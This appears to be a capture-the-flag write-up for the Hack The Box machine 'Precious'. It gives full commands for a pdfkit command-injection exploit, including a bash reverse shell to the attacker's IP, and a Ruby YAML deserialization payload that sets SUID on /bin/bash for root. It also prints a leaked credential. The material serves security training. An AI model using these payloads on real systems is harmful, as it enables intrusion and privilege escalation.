Notes
Name | Precious |
---|---|
OS | Linux |
RELEASE DATE | 26 Nov 2022 |
DIFFICULTY | Easy |
Port Scan
I started by doing a quick port scan on the machine. nmap
shows that there are two open ports, SSH and HTTP.
-p-
will scan all 65,535 ports--min-rate 1000
will speed up the scan by setting the sending rate at or above 1000 packets per second-oN allPorts.nmap
will save the output to a file
1
2
3
4
5
6
7
8
9
10
┌──(root㉿dragon)-[~/htb/precious]
└─# nmap -p- --min-rate 1000 -oN allPorts.nmap 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 17:03 MDT
Nmap scan report for 10.10.11.189
Host is up (0.062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Next, I did a more targeted scan of the two open ports utilizing NSE scripts. The NSE scripts can fingerprint the services better than a port scan. I learn it’s running nginx
and has a hostname of precious.htb
. Googling the ssh
version shows that the package is for Debian 11 (Bullseye).
-p 22,80
scan port 22 and 80-sVC
determines the version of the service and runs safe scripts-oN allPorts.nmap
will save the output to a file
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿dragon)-[~/htb/precious]
└─# nmap -p 22,80 -sVC -oN scriptScan.nmap 10.10.11.189
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I’ll add precious.htb
to my /etc/hosts
file
1
2
# HTB
10.10.11.189 precious.htb
80/TCP HTTP
The home page shows that this site will convert a web page to a pdf.
I set up a basic python3 web server and submitted my kali ip into the application to see if I could get a hit.
1
2
3
4
┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
The web server gets a hit and it generated a pdf of my page
1
2
3
4
5
┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [21/May/2023 17:45:56] "GET / HTTP/1.1" 200 -
I downloaded the pdf and ran exiftool
on the pdf that was generated. The metadata shows that it was created by pdfkit v0.8.6
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿dragon)-[~/htb/precious**]
└─# exiftool preciousPDF.pdf
ExifTool Version Number : 12.57
File Name : preciousPDF.pdf
Directory : .
File Size : 11 kB
File Modification Date/Time : 2023:05:21 17:48:16-06:00
File Access Date/Time : 2023:05:21 17:48:16-06:00
File Inode Change Date/Time : 2023:05:21 17:48:26-06:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
A google search on the version lead me to a snyk article that explains an RCE vulnerability. When I submitted the url to my kali machine it passed it into a pdfkit function called PDFKit.new
. That function is vulnerable to command injection. From the synk page, the payload is:
1
http://example.com/?name=%20`sleep 5`
To perform this attack I will keep my python web server running
1
2
3
4
┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Next, I’ll submit another request to convert to a pdf but this time intercept it and send it to burpsuites repeater tab. I’ll replace the url with the injection payload, but change the command to be hostname
, I’ll also make sure to url encode the payload (per the exploit I need to include a space before the command hence the %20)
Looking back at the python3 web server I got a hit showing the machine hostname
1
2
3
4
5
┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [21/May/2023 22:05:43] "GET /?zon=%20precious HTTP/1.1" 200 -
Next, I’ll set up a new nc
listener to catch a reverse shell
1
2
3
4
┌──(root㉿dragon)-[~/htb/precious]
└─# nc -lvnp 9001
listening on [any] 9001 ...
With command injection, I’ll send a basic bash reverse shell to my listener. Below is the non encoded-payload and the encoded one
1
2
3
4
http://10.10.14.11/?zon=%20`bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"
#URL ENCODED
url=http://10.10.14.11/%3fzon%3d%2520`bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.11/9001+0>%261"`
Once the payload got executed I got a shell as ruby
Pivot To Henry
Inside /home/ruby
there was an interesting .bundle
folder and inside a config file that contained the password for henry.
1
2
3
4
5
6
7
ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
.bundle
is created by Bundler, a Ruby gem that manages Ruby dependencies. Sometimes the config files inside the directory contain API credentials. In the case of henry its creds to rubygems.org
Henry’s credentials worked against ssh and the user flag was gained.
1
2
3
henry@precious**:~$ cat user.txt
a2ff********************
Root
The first thing that I check is sudo -l
to see if I have any special permissions. Henry has the ability to run a ruby script as sudo.
1
2
3
4
5
6
7
8
9
10
11
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
The script is pretty small but one piece sticks out to me YAML.load(File.read("dependencies.yml"))
. This is loading in a file called dependencies.yml
, it does not specify a full path location. There is a good chance I can create that file and put some malicious code in it to get code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
[snip]
Googling YAML load function
, showed that this is a deserialization attack. PayloadAllTheThings had a universal payload that I modified to set the suid bit on /bin/bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /bin/bash
method_id: :resolve
Saving that file and running the script with sudo ruby /opt/update_dependencies.rb
resulted in the attack working setting the suid bit on /bin/bash
1
2
henry@precious:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Using the suid bit I elevated to root and grabbed the flag
1
2
3
4
5
6
7
henry@precious:~$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cd /root
bash-5.1# cat root.txt
3b23*****************